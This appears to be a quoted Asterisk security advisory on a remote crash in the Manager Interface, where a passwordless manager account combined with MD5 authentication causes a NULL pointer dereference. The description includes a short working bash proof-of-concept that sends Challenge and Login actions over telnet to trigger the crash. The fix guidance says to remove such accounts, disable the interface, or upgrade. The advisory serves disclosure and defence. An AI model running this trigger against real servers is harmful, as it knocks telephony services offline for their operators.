> | Description | The Asterisk Manager Interface has a remote crash |
> | | vulnerability. If a manager user is configured in |
> | | manager.conf without a password, and then a connection |
> | | is made that attempts to use that username and MD5 |
> | | authentication, Asterisk will dereference a NULL pointer |
> | | and crash. |
> | | |
> | | This example script shows how the crash can be |
> | | triggered: |
> | | |
> | | #!/bin/bash |
> | | |
> | | function text1() { |
> | | |
> | | cat <<- EOF |
> | | |
> | | action: Challenge |
> | | |
> | | actionid: 0# |
> | | |
> | | authtype: MD5 |
> | | |
> | | EOF |
> | | |
> | | } |
> | | |
> | | function text2() { |
> | | |
> | | cat <<- EOF |
> | | |
> | | action: Login |
> | | |
> | | actionid: 1# |
> | | |
> | | key: textstringhere |
> | | |
> | | username: testuser |
> | | |
> | | authtype: MD5 |
> | | |
> | | EOF |
> | | |
> | | } |
> | | |
> | | (sleep 1; text1; sleep 1; text2 ) | telnet 127.0.0.1 |

> | Resolution | The manager interface is not enabled by default. If it is |
> | | enabled, the only way this crash can be exploited is if a |
> | | user exists in manager.conf without a password. Given the |
> | | conditions necessary for this problem to be exploited, |
> | | the severity of this issue is marked as 'moderate'. |
> | | |
> | | All users of the Asterisk manager interface in affected |
> | | versions should ensure that there are no accounts in |
> | | manager.conf. Alternatively, the issue can be avoided by |
> | | completely disabling the manager interface. |
> | | |
> | | Users of the manager interface are encouraged to update |
> | | to the appropriate version of their Asterisk product |
> | | listed in the 'Corrected In' section below. |
